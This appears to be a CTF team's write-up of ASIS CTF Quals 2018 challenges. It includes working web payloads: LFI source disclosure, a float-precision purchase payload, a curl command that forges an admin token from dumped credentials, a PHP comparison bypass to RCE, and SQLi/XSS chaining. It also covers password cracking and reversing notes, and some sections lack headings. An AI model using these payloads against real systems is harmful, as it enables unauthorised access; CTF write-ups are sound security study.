ASIS CTF Quals 2018

Web

Nice code (unsolved, written by bookgin)

The challenge is related to PHP code review.

The page will show the error message. All we have to do is bypass the error :)

# substr($URL, -10) !== '/index.php'
http://167.99.36.112:8080/admin/index.php
# $URL == '/admin/index.php'
http://167.99.36.112:8080/admin/index.php/index.php

Next, we are redirected to http://167.99.36.112:8080/another/index.php?source .

 <?php
include('oshit.php');
$g_s = ['admin','oloco'];
$__ni = $_POST['b'];
$_p = 1;
if(isset($_GET['source'])){
    highlight_file(__FILE__);
        exit;
}
if($__ni === $g_s & $__ni[0] != 'admin'){
    $__dgi = $_GET['x'];
    $__dfi = $_GET;
    foreach($__dfi as $_k_o => $_v){
        if($_k_o == $k_Jk){
            $f = 1;
        }
        if($f && strlen($__dgi)>17 && $_p == 3){
            $k_Jk($_v,$_k_o); //my shell :)
        }
        $_p++;
    }
}else{    
    echo "noob!";
}

Also note that the server uses PHP/5.5.9-1ubuntu4.14. Then I got stuck here for DAYS. After a few tries, I think it's impossible to bypass ===.

However, that's not the case in PHP 5.5.9 due to this bug. Just send a big index, and it will be casted to int. Overflow!

The rest is simple. No need to guess the content in oshit.php. Use system to RCE.

Postscript:

1. The bug seems to be famous(infamous) in 2015,2016 PHP CTFs. You can Google the link or bug id and you'll find lots of challenges related to this bug.
2. Always pay attention to the version server used. The current release is PHP 7.2, but the challenge uses PHP 5.5.9.
3. If the condition is impossible to bypass, just dig into the bug databse/source code.
4. The challenge is solved by more than 20 teams, so it must be simple to find a solution.

I've learned a lot. Thanks to this challenge and PHP!

Bug Flag (bookgin, sces60107)

Get source code by LFI http://46.101.173.61/image?name=app.py. It's Python2 + Flask.

from flask import Flask, Response, render_template, session, request, jsonify

app = Flask(__name__)
app.secret_key = open('private/secret.txt').read()

flags = {
    'fake1': {
        'price': 125,
        'coupons': ['fL@__g'],
        'data': 'fake1{this_is_a_fake_flag}'
    },
    'fake2': {
        'price': 290,
        'coupons': ['fL@__g'],
        'data': 'fake2{this_is_a_fake_flag}'
    },
    'asis': {
        'price': 110,
        'coupons': [],
        'data': open('private/flag.txt').read()
    }
}

@app.route('/')
def main():
    if session.get('credit') == None:
        session['credit'] = 0
        session['coupons'] = []
    return render_template('index.html', credit = session['credit'])
    #return 'Hello World!<br>Your Credit is {}<br>Used Coupons is {}'.format(session.get('credit'), session.get('coupons'))

@app.route('/image')
def resouce():
    image_name = request.args.get('name')
    if '/' in image_name or '..' in image_name or 'private' in image_name:
        return 'Access Denied'
    return Response(open(image_name).read(), mimetype='image/png')

@app.route('/pay', methods=['POST'])
def pay():
    data = request.get_json()
    card = data['card']
    coupon = data['coupon']
    if coupon.replace('=','') in session.get('coupons'):
        return jsonify({'result': 'the coupon is already used'})
    for flag in card:
        if flag['count'] <= 0:
            return jsonify({'result':'item count must be greater than zero'})
    discount = 0
    for flag in card:
                if coupon.decode('base64').strip() in flags[flag['name']]['coupons']:
            discount += flag['count'] * flags[flag['name']]['price']
    credit = session.get('credit') + discount
    for flag in card:
        credit -= flag['count'] * flags[flag['name']]['price']
    if credit < 0:
        result = {'result': 'your credit not enough'}
    else:
        result = {'result': 'pay success'}
        result_data = []
        for flag in card:
            result_data.append({'flag': flag['name'], 'data': flags[flag['name']]['data']})
        result['data'] = result_data
        session['credit'] = credit
        session['coupons'].append(coupon.replace('=',''))
    return jsonify(result)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

The first thought comes to my mind is race condition. We can send 2 requests to manipulate the session variables. However, manipulating credit leads to nothing, because it's not dependent on executing orders. Manipulating coupons is useless, neither. Why bother using a coupon twice? Just create another session.

Then I start to dig if there is any logical error. The objective is to make the credit >= 0 when buying the real flag. After some brainstroming, I try to buy 0.01 fake flags, and it works.

Let's test Python floating-point precision.

Python 2.7.14 (default, Jan  5 2018, 10:41:29) 
[GCC 7.2.1 20171224] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> 1.335 * 125 + 0.334 * 290 - 1.335 * 125 - 0.334 * 290
1.4210854715202004e-14

Isn't it cool and surprising? Note that 1.4210854715202004e-14 is a positive number. For the count of real flag, we can buy 0.0000000...1.

Payload:

{"card":[{"name":"fake1","count":1.335},{"name":"fake2","count":0.334},{"name":"asis","count":0.0000000000000000000000000001}],"coupon":"ZkxAX19n"}

Flag: ASIS{th1@n_3xpens1ve_Fl@G}

You can abuse Python NaN to solve this challenge as well. Refer to this writeup.

Good WAF (solved by ysc, written by bookgin)

The challenge requires us to bypass the WAF on SQL injection.

Unintended solution:

When the organizer is fixing the challenge by editing the source code, @ysc's web scanner found .index.php.swp, and we got the source code. The flag is there. That's all.

Flag: ASIS{e279aaf1780c798e55477a7afc7b2b18}

Never fix anything on the production server directly :)

Personal Website (solved by sasdf, bookgin, sces60107, written by bookgin)

Firstly dive into http://206.189.54.119:5000/site.js. There are 4 interesting pages:

• admin_area
• get/title/1
• get/text/1
• get/image/1

The admin_area requires an authorization_token in the header, and the page will check the token. If it's incorrect, an error occurs Authorization Failed.

Let's fuzz the three get APIs. The title, text seem not injectable and only parse integer until encountering an invalid character. However, image is injectable. The get/image/0+1 is equal to get/image/1. Even get/image/eval("0+1") works like a charm. So we got a blind injection here. The backend is Nodejs + express. I'll first guess it's using mongoDB.

Keey moving on. We try to extract the information of the backend, only to find it's in nodejs vm2. There is no require so we cannot RCE. Actually versatile @sasdf spent some time on trying to escape the vm, but it seems very hard.

Next, we leaked module and find _mongo, db. It's possible to get all collection names via db.collection.getname(). Then, use eval and this["db"].credentials.find().toArray() to dump the database. We dump credentials and authorization:

{"_id":{"str":"5ae63ae0a86f623c83fecfb3"},"id":1,"method":"post_data","format":"username=[username]&password=[password]","activate":"false"}
{"_id":{"str":"5ae63ae0a86f623c83fecfb4"},"id":2,"method":"header","format":"md5(se3cr3t|[username]|[password])","activate":"true"}

{"_id":{"str":"5ae63ae0a86f623c83fecfb1"},"id":1,"username":"administrator","password":"H4rdP@ssw0rd?"}

Great! The payload:

curl 'http://206.189.54.119:5000/admin_area' -H "authorization_token:`echo -n 'se3cr3t|administrator|H4rdP@ssw0rd?' | md5sum | cut 
-f1 -d' '`"

Flag: ASIS{3c266f6ccdaaef52eb4a9ab3abc2ca70}

Postscript: Take a look at Yashar Shahinzadeh's writeup. In fact, the server will send back the error message through the response header Application-Error. There is no need to perform blind injection. We are reckless and didn't find this.

Next time, I'll carefully inspect every payload and HTTP status code/headers.

Sharp eyes (unsolved, written by bookgin, special thanks to @herrera)

The incorrect account/password in the login page will redirect to error/1. Missing either account or password parameter redirects to error/2.

The source HTML of error/1.

<html>
<head>
<script src='/jquery-3.3.1.min.js'></script>
<link href='style.css' rel='stylesheet'>
</head>
<body>
<div class="accordion">
  <dl>
    <dt class="active">

<!-- Filtered output to prevent XSS -->
<script>var user = '1';</script>Invalid credentials were given.

If the URL is error/hello, the js part becomes var user = 'hello';. Addtionally, some characters <>", are filtered, but it's imple to bypass using single quotes and semicolons.

It's obvious that we have to somehow make the admin trigger this XSS, but how? I guess the admin will read the log in the server, but after a few tries, we found it does't work at all. Ok, so why does variable user mean in the javascript here? Maybe we can inject the XSS payload to the username login page. but it doesn't work, neither.

What if it's not a XSS challenge? I don't think so because:

1. I note that the jQuery is loaded in the error page, but it's not used.
2. There is a XSS filter.

The discovery strongly indicates this is a XSS challenge. However, why does the error code is assigned to a user variable? This does not make sense at all.

This challenge made me very frustrated. I think the XSS part is very misleading at the begninning, though it's used after logged in successfully.

It was not unitl the last 30 minutes that we found the error code is vulnerable to SQL injection. The server returns the content but the status code is 500. Thanks to @sasdf 's sharp eyes. I'm too careless to find the SQL injection vulenerability.

SQLmap will dump the database. The DB is SQlite.

Thanks to @herrera in IRC channel:

sharp eyes was sqli on /error/1, getting username/hash of the user david, logging into him, then using /error/1 as a XSS too, sending it to admin and getting the flag on flag.php

Postscript:

1. Sharp eyes: HTTP status code
2. Some misleading part might be the second stage of the challenge.
3. It a number of teams solve this challenge, it must be not difficult.

Gameshop (unsolved)

Please refer to official solution.

Acctually, we spent a few hours on MicroDB LFI. Next, I'm trying to find a way to exploit all the possible die(__FLAG__). I know we may use unserialization to create Affimojas->flag = 0, since in PHP, var_dump(0 == "asdasdasd"); // bool(true) .

However, I cannot find the way to exploit unserilization. In the last 1 hours, @sasdf noted that we can manipulate the first block, but we though we didn't have much time solving this challenge.

There is a long road to go on solving web challnges:)

You can compile the code. But when executing the binary, it just hanging there. So the first step is to understand this code. It look likes you need to beautify this code. You can count on online tools, but I do this with myself.

And I found out there is a useless function l which seems to waste lots of time. I just deleted that function in the code and compile the code again. Eventualy, I got the flag and the first blood.

The flag is ASIS{hi_all_w31c0m3_to_ASISCTF}

baby C (sces60107)

This challenge give you a obfuscated binary.

It is obvious that they use movfuscator.

It's not easy to reverse such obfuscated binary directly. You will need the help of qira or gdb. And I choose the former.

But it's still difficult to trace the program flow. After a while, I notice that there is strncmp in this binary.

...
.text:08049557                 mov     eax, off_83F6170[edx*4]
.text:0804955E                 mov     edx, dword_81F6110
.text:08049564                 mov     [eax], edx
.text:08049566                 mov     esp, off_83F6130
.text:0804956C                 mov     dword_85F61C4, offset strncmp_plt
.text:08049576                 mov     eax, dword_83F6158
.text:0804957B                 mov     eax, off_85F61C8[eax*4]
.text:08049582                 mov     eax, [eax]
...

I utilized qira to trace the program and realized that part of code is doing strncmp(input[3:],"m0vfu3c4t0r!",0xc)

Well, the hint tell us flag is ASIS{sha1(input[:14])}

Now we just need the first three byte.

The next step needs patience. you have to trace down the code manually.

Then you can find this

...
.text:080498C8                 mov     dl, byte ptr dword_804D050
.text:080498CE                 mov     edx, dword_81F5B70[edx*4]
.text:080498D5                 mov     dword_804D05C, edx
.text:080498DB                 mov     dword_804D058, 'A'
.text:080498E5                 mov     eax, dword_804D05C
.text:080498EA                 mov     edx, dword_804D058
.text:080498F0                 mov     ecx, 8804B21Ch
...

If you are familiar with movfuscator, you will know this part of code is trying to compare two bytes. I knew this because I read this pdf in order to solve this challenge.

Now we know it is try to compare the first byte of input to A

The rest of this chanllenge is diggin out the other code which try to compare the second and the third byte.

...
.text:08049BED                 mov     edx, 0
.text:08049BF2                 mov     dl, byte ptr dword_804D050
.text:08049BF8                 mov     edx, dword_81F5B70[edx*4]
.text:08049BFF                 mov     dword_804D05C, edx
.text:08049C05                 mov     dword_804D058, 'h'
.text:08049C0F                 mov     eax, dword_804D05C
.text:08049C14                 mov     edx, dword_804D058
.text:08049C1A                 mov     ecx, 8804B21Ch
...
.text:08049F17                 mov     edx, 0
.text:08049F1C                 mov     dl, byte ptr dword_804D050
.text:08049F22                 mov     edx, dword_81F5B70[edx*4]
.text:08049F29                 mov     dword_804D05C, edx
.text:08049F2F                 mov     dword_804D058, '_'
.text:08049F39                 mov     eax, dword_804D05C
.text:08049F3E                 mov     edx, dword_804D058
.text:08049F44                 mov     ecx, 8804B21Ch
...

Finally, we got input[:14] which is Ah_m0vfu3c4t0r.

So the flag will be ASIS{574a1ebc69c34903a4631820f292d11fcd41b906}

Echo (sces60107)

You will be given a binary in this challenge. Just try to execute it.

$ ./Echo 
Missing argument
$ ./Echo blabla
Error opening blabla!

Well, you only get some error message. After using some decompile tool I found this.

  if ( v9 <= 1 )
  {
    fwrite("Missing argument\n", 1uLL, 0x11uLL, stderr);
    exit(1);
  }
  if ( !strncmp(*(const char **)(a2 + 8), "GIVEMEFLAG", 0xAuLL) )
  {
    v46 = (signed int)sub_970(v49);
  }

It seems like you should put GIVEMEFLAG in the first argument.

./Echo GIVEMEFLAG

thisisuseless

Well it just echo what you input. But sub_970 seems interesting. I used gdb to catch return value.

Then I found this function return a string array

Obviously, it is brainfuck. the last part of this brainfuck string is [.,] which will read your input and output to your screen.

before that there a bunch of [+]> . It will clean the buffer.

The goal is clear now. we need to what does it put on the buffer before it remove them.

We can rewrite the brainfuck string to fulfill our requirements

The new brainfuck string will be >>[<+<+>>-]<<[->>+<<]>[>>>>>+<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>+<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>+<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>+<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>+<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>+<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>+<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>+<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>+<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>+<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[.>]

Now the binary will output the flag flag{_bR41n---,[>.<],+_fxxK__}

According to the note Note: flag{whatyoufound}, submit ASIS{sha1(whatyoufound)}

The true flag is ASIS{7928cc0d0f66530a42d5d3a06f94bdc24f0492ff}

Left or Right? (sces60107)

Just try to execute the given binary.

$ ./right_or_left 
What's The Secret Key?
I dont know
invalid key:( try again

So it seems like we need a secret key?

Then I levearaged a decompiler to reverse this binary. Unfortunately, I found that it's a rust binary.

I am not familar with rust. It's difficult to me to fully reverse it. Then I found some interesting strings like therustlanguageisfun and superkeymysecretkeygivemetheflagasisctfisfun

I try to input those strings

$ ./right_or_left 
What's The Secret Key?
therustlanguageisfun
ASIS{that_is_not_the_real_flag}
$ ./right_or_left 
What's The Secret Key?
superkey                                                
ASIS{be_noughty_step_closer_to_see_the_flag}
$ ./right_or_left 
What's The Secret Key?
mysecretkey
ASIS{imagine_a_flag_in_a_watermelon_how_can_you_capture_it}

It seems like they are all fake flag.

Now there is two ways to deal with this chellange. The way I take is finding how this binary output those fake flag.

Using gdb and IDA pro, I found that those function which will generate fake flag is located at these position.

Well, sub_9320 seems to be a good target to analysis. Just use gdb and change your $rip. Then, the real flag will output to your screen

Now you have the flag ASIS{Rust_!s_Right_i5_rust_!5_rust_but_rust_!s_no7_left}

There is another way to capture the flag. In this way, you should find out the real secret key.

Practically, you need to locate the key-checking function.

Track those fake key. you will find out the key-checking function. It is located at sub_83c0

Then you can trace this function and easily get the real secret key which is sscsfuntnguageisfunsu

Density (sces60107)

In this challenge you will get a binary and a encrypted flag.

This chllenge is not difficult at all. The binary name is "b64pack".

You can just try base64

$ base64 short_adff30bd9894908ee5730266025ffd3787042046dd30b61a78e6cc9cadd72191 
O++h+b+qcASIS++e01d+c4Nd+cGoLD+cASIS+c1De4+c4H4t+cg0e5+cf0r+cls+d++gdI++j+kM
+vb++fD9W+q/Cg==

There is string while looks like flag ASIS++e01d+c4Nd+cGoLD+cASIS+c1De4+c4H4t+cg0e5+cf0r+cls+d++gdI++j+kM +vb++fD9W+q/Cg==

We still need to reverse the binary. You can divide this binary into three part.

The first part: input=randomstr+input+flag

The second part:

newinput=""
for i in input:
  if i in "@$_!\"#%&'()*+,-./:;<=>?\n":
    newinput+="+"+chr(ord('a')+"@$_!\"#%&'()*+,-./:;<=>?\n".index(i))
  elif i in "[\\]^{|}~`\t":
    newinput+="++"+chr(ord('a')+"@$_!\"#%&'()*+,-./:;<=>?\n".index(i))
  else:
    newinput+=i

The third part:

output=newinput.decode("base64")

Now you know how to reconstruct the flag. The flag is ASIS{01d_4Nd_GoLD_ASIS_1De4_4H4t_g0e5_f0r_ls!}

Shapiro (shw)

Shapiro points are lattice points that the gcd of its coordinates is 1. In this challenge, we have to construct a k x k grid such that none of its point is a Shapiro point.

Take k = 3 for example, we have to decide x, y such that all of the following points are not Shapiro.

(x+0, y+2), (x+1, y+2), (x+2, y+2)
(x+0, y+1), (x+1, y+1), (x+2, y+1)
(x+0, y+0), (x+1, y+0), (x+2, y+0)

The basic idea is to assign every point a prime as a common divisor of its coordinates. We let the assigned primes be different for all points, e.g.,

x+0 = y+0 = 0 mod 2
x+0 = y+1 = 0 mod 3
x+0 = y+2 = 0 mod 5
x+1 = y+0 = 0 mod 7
... and so on

According to CRT, the congruence equation exists solutions for x, y mod P, where P is the product of all primes we had used.

Note that there would be restrictions such as the largest y coordinate smaller than k, or the smallest x coordinate larger than k. However, it's lucky for us that the two restrictions larger and smaller do not occur at the same time. Thus, we can add (or minus) x, y with P to sufficiently large (or small) to satisfy the condition. Code snippet:

from gmpy import *

def find(k):
    p = next_prime(1)
    mod, rx, ry = [], [], []
    for i in range(k):
        for j in range(k):
            mod.append(p)
            rx.append((p-i)%p)
            ry.append((p-j)%p)
            p = next_prime(p)
    return mod, rx, ry

while True:
    r.recvuntil('k = ')
    k = int(r.recvline()[:-1])

    m, rx, ry = find(k)
    X = chinese_remainder(m, rx)
    Y = chinese_remainder(m, ry)

    cond = r.recvline()[:-1]
    prod = reduce(lambda x, y: x*y, m)
    if 'larger' in cond:
        lb = int(cond.split()[-1])
        q = lb/prod
        X += prod*(q+1)
        Y += prod*(q+1)
    elif 'smaller' in cond:
        q = X/prod
        X -= prod*(q+1)
        Y -= prod*(q+1)

    r.sendline(get_format(X, Y, k))
    data = r.recvline()[:-1]

But you cannot just use base64 decoder. There is something you need to do first.

You remove every 
 in the string. Then, you can use base64 decode.

After base64decoding, you still don't know what it is. Just use binwalk, then you can find out that there is a zlib compressed data

The final step is decompress the data. The flag is right here

forensic

Trashy Or Classy (sces60107 bookgin)

In this forensic challenge you will get a pcap file.

In this pcap file you will notice that someone trying to connet to the website which is located at http://167.99.233.88/

It's a compilicated challenge. I will try to make a long story short.

This challenge can be divided into three steps.

first step

In the first step, you will find an interest file from pcap which is flag.caidx

Just google the extension, you will see a github repo casync

You also notice the flag.caidx is located at http://167.99.233.88/private/flag.caidx

There is also a suspicious direcory which is http://167.99.233.88/private/flag.castr

But you need the username and password for the authentication.

second step

The username can be found in the pcap file. It's admin

But we still need password. Then, you can find out that the authentication is Digest access authentication

You have everything you need to crack the password now. Just download rockyou.txt and launch a dictionary attack.

It's won't take too much time to crack the password.

Finally, the password is rainbow

third step

Now you can login and download the flag.caidx.

But you still cannot list flag.castr

You may need to install casync

Then you can use test-caindex

trashy/casync/build$ ./test-caindex ../../flag.caidx 
caf4408bde20bf1a2d797286b1ad360019daa59b53e55469935c6a8443c69770 (51)

383bd2a5467300dbcb4ffeaa9503f1b2df0795671995e5ce0a707436c0b47ba0 (50)
...

These message will tell you the chunk file's position. For example, caf4408bde20bf1a2d797286b1ad360019daa59b53e55469935c6a8443c69770.cacnk is located at flag.castr/caf4/caf4408bde20bf1a2d797286b1ad360019daa59b53e55469935c6a8443c69770.cacnk

You can download all the chunk file in flag.castr now.

Now you can extract the flag

trashy$ sudo casync extract --store=flag.castr flag.caidx wherever_you_like
trashy$ cd wherever_you_like
trashy/wherever_you_like$ ls
flag.png

The flaf is right here.

The flag is ASIS{Great!_y0U_CAn_g3T_7h3_casync_To0l,tHe_Content-Addressable_Data_Synchronization_T0Ol!!!}

Tokyo (sces60107)

Without the hint, this challenge is probably the most guessing challenge in this CTF.

We will get a binary, but it can't be recognized by any tools.

After some investigation, I got three clues from the binary.

First, there is a header at the begining of this binary. And the header begin with KC\n

Second, we found some interesting blocks at the end of the binary. Each block' size is 24byte. And Each block contains a printable letter.

Gather all the printable letter. It seems like you can reconstruct the flag from it in some order.

!_Ab_ni!_as__ial_Cb_a_iSgJg_td_eKeyao_ae_spb}iIyafa{S_r__ora3atnsonnoti_faon_imn_armtdrua

Third, this binary contains lots of null byte. However, beside the begining and the end, we can still find some non-null byte in the binary.

Totally, I found 89 blocks in the binary and each blocks is 3 byte long. what a coincidence! The length of flag is also 89.

These blocks are big-endian-encoded. Their values go from 787215 to 787479, increasing 3 by 3.

That's all the clue. Unfortunately, no one can solve this challenge. So, the host release the hint Kyoto Cabinet

Now we know this file is kyoto cabinet database

KC\n is the magic signatrure of kyoto cabinet database file.

According the header, we can also find out that it is a hashdatabase.

After understanding the mechanism of kypto cabinet database, the end of the database is the record section.

Those 3-byte-long blocks is buckets.

So, the last question is what the key is.

According to record section, we will know the key size which is 3 byte long.

After several attempts, I found out the keys of the flag go from "000" to "088"

It's time to reconstruct the flag

from pwn import *
import kyotocabinet


def haha(a):
  k=a.encode("hex")
  return int(k,16)
f=open("tokyo").read()
j=f[0x30:]

temp=[]
flag=False
kk=""
pos=0
hh=[]
for i in range(len(j)):
  if j[i]!="\x00":
    if flag:
      kk+=j[i]
    else:
      kk=j[i]
      flag=True
  else:
    if flag:
      if kk=="\xcc\x04":
        pos=i
        break
      temp.append(kk)
      kk=""
      flag=False
      hh.append(i-3)


t=j[pos:]
t2=[]
flag=False
kk=""
for i in range(len(t)):
  if t[i]!="\x00":
    if flag:
      kk+=t[i]
    else:
      kk=t[i]
      flag=True
  else:
    if flag:
      if len(kk)<2 or kk[1]!="\xee":
        kk=""
        continue
      t2.append(kk[0])
      kk=""
      flag=False
i=map(haha,temp)



flag = "".join(t2)
flag2=""
for k in map(haha,temp):
  v=sorted(i).index(k)
  flag2+=flag[(v)%89]
print flag
print flag2

indd=[]
for i in range(89):
  j=str(i).rjust(3,"0")
  temp=kyotocabinet.hash_murmur(j)
  indd.append(temp%0x100007)


flag3=""
for k in indd:
  v=sorted(indd).index(k)
  flag3+=flag2[(v)%89]
print flag3

This code is not a clean code. I'm sorry about that.

By the way, the flag is ASIS{Kyoto_Cabinet___is___a_library_of_routines_for_managing_a_database_mad3_in_Japan!_!}

First-half

We know how the key is generated.

key_0 = keysaz(gmpy.next_prime(r+s), gmpy.next_prime((r+s)<<2))

Let p = next_prime(r+s) and q = next_prime((r+s)<<2), we have that 4p ≈ q (approximately equal). Thus, N = pq ≈ q^2/4 and q ≈ sqrt(4*N). We can try to brute force q to get the correct (p, q) pair.

from decimal import *
import gmpy

getcontext().prec = 1000
t = Decimal(4*N).sqrt()
t = int(t)

for i in range(10000):
    q = t - i # or try t + i
    if n % q != 0:
        continue
    p = n / q
    assert(gmpy.is_prime(p) and gmpy.is_prime(q))
    print 'p =', p
    print 'q =', q

After we get p, q, we can decrypt enc_0 to get the first half of flag.

def decrypt(a, b, m):
    n, e = a*b, 65537
    d = gmpy.invert(e, (a-1)*(b-1))
    key = RSA.construct((long(n), long(e), long(d)))
    dec = key.decrypt(m)
    return dec

print decrypt(p, q, c) # ASIS{0240093faf9ce

Also, we can get the range of u = r+s by

def prev_prime(p):
    for i in xrange(1, 1<<20):
        if gmpy.next_prime(p-i) != p:
            return p-i+1

u_min = max(prev_prime(p), (prev_prime(q)/4)+1)
u_max = min(p-1, q/4)
